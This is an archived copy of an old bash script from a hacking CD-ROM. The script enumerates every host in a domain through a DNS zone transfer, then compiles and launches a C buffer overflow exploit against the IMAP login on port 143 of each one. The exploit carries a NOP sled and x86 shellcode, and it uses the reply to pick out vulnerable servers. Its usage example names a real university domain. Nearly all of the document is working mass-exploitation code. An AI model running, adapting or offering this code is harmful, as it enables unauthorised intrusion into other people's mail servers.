home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / imapd_scan.sh < prev    next >
Encoding:
Text File  |  2001-11-06  |  4.2 KB  |  137 lines

  1.  
  2. #!/bin/bash
  3. # tnt on EFNET
  4. # d0x@usa.net
  5. # ne komy ne davai
  6. # scan subnet for 143 open and werk
  7. # chmod +x 143.sh
  8. # 143.sh mit.edu
  9.  
  10. if [ $# != 1 ]
  11. then
  12.   echo "Usage:"
  13.   echo `basename $0`" <domain>"
  14.   exit
  15. else
  16.  
  17. if [ -f check ]; then
  18. echo "* Port scaner already exist"
  19. else
  20. echo "* Compiling 143 port scaner."
  21. cat > check.c <<'EOF'
  22. #include <stdio.h>
  23. #include <netdb.h>
  24. #include <string.h>
  25. #include <signal.h>
  26. #include <unistd.h>
  27. #include <sys/types.h>
  28. #include <sys/socket.h>
  29. #include <netinet/in.h>
  30.  
  31. char *h_to_ip(char *hostname);
  32. char *h_to_ip(char *hostname) {
  33.   struct hostent *h;
  34.   struct sockaddr_in tmp;
  35.   struct in_addr in;
  36.   h = gethostbyname(hostname);
  37.   if (h==NULL) exit(-1);
  38.   memcpy((caddr_t)&tmp.sin_addr.s_addr, h->h_addr, h->h_length);
  39.   memcpy(&in,&tmp.sin_addr.s_addr,4);
  40.   return(inet_ntoa(in));
  41. }
  42.  
  43.   void call_alarm(void) { signal(SIGALRM, call_alarm); }
  44.  
  45.   main(int argc, char *argv[]) {
  46.   struct sockaddr_in sin;
  47.   char *hostname;
  48.   char shell[] =
  49.   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  50.   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  51.   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  52.   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  53.   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  54.   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  55.   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  56.   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  57.   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  58.   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  59.   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  60.   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  61.   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  62.   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  63.   "\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88"
  64.   "\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e"
  65.   "\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90"
  66.   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  67.   "\xe8\xc0\xff\xff\xff/bin/df";
  68.   char username[1024+255];
  69.    long val;
  70.    char buffer[512];
  71.   int outsocket,tnt,i;
  72.   if (argc<2) { printf("Usage : %s hostname\n",argv[0]);exit(-1); }
  73.   hostname=argv[1];
  74.   outsocket=socket(AF_INET,SOCK_STREAM,0);
  75.   sin.sin_family=AF_INET;
  76.   sin.sin_port=htons(143);
  77.   signal(SIGALRM, call_alarm);
  78.   alarm(5);
  79.   sin.sin_addr.s_addr=inet_addr(h_to_ip(hostname));
  80.   strcpy(username,shell);
  81.   for(i=strlen(username);i<sizeof(username);i++)
  82.   username[i]=0x90;
  83.   val = 0xbffff501 + 0; /* 0 is offset (-1000 .. 1000) */
  84.  
  85.   for(i=1024;i<strlen(username)-4;i+=4) {
  86.   username[i+0] = val & 0x000000ff;
  87.   username[i+1] = (val & 0x0000ff00) >> 8;
  88.   username[i+2] = (val & 0x00ff0000) >> 16;
  89.   username[i+3] = (val & 0xff000000) >> 24;
  90. }
  91. username[ sizeof(username)-1 ] = 0;
  92. tnt=connect (outsocket, (struct sockaddr *) &sin, sizeof(sin));
  93. alarm(0);
  94. if (tnt > -1 ) {
  95. write(outsocket,"301 LOGIN \"",strlen("301 LOGIN \""));
  96. write(outsocket,username,strlen(username));
  97. write(outsocket,"\" pass\n\n",strlen(" pass\n\n"));
  98. while (read(outsocket,buffer,512)!=0) {if ((strstr(buffer,"Bad")!=NULL) ||
  99. (strstr(buffer,"BAD")!=NULL) || (strstr(buffer,"Netscape")!=NULL) ||
  100. (strstr(buffer,"v10.")!=NULL) || (strstr(buffer,"AltaVista")!=NULL) ||
  101. (strstr(buffer,"Solstice")!=NULL) || (s
  102. trstr(buffer,"RPC:")!=NULL)) {close(outsocket);exit(-1);}}
  103. if (strstr(buffer,"Filesystem")!=NULL) { printf("%s\n",argv[1]); }
  104. }
  105. close(outsocket);
  106. }
  107. EOF
  108. gcc -o check check.c >/dev/null 2>&1
  109. if [ -f check ]; then
  110.   /bin/rm -rf check.c
  111. else
  112.   echo "* Unable to compile port scaner"
  113.   rm -rf *.tmp
  114.   rm -rf *.domains
  115.   rm -rf check.c
  116.   exit 1
  117. fi
  118. fi
  119. echo "* Scanning domain for hosts."
  120. host -l $1 | grep "has address" | awk -F ' ' '{ print $4 }' > $1.domains
  121. echo "* Host scan complete."
  122. echo "* Sorting hosts and removing dupes."
  123. sort < $1.domains > $1.sorted
  124. uniq < $1.sorted > $1.domains
  125. rm -f $1.sorted
  126. cat $1.domains | awk -F ' ' '{ print "./check " $1 " &" }' > $1.tmp
  127. chmod +x $1.tmp
  128. echo "* Scaning for port 143 open. Saving data to $1.hits"
  129. ./$1.tmp > $1.hits
  130.  
  131. rm -rf *.tmp
  132. rm -rf *.domains
  133. sleep 5
  134. killall -9 check
  135. fi
  136.  
  137.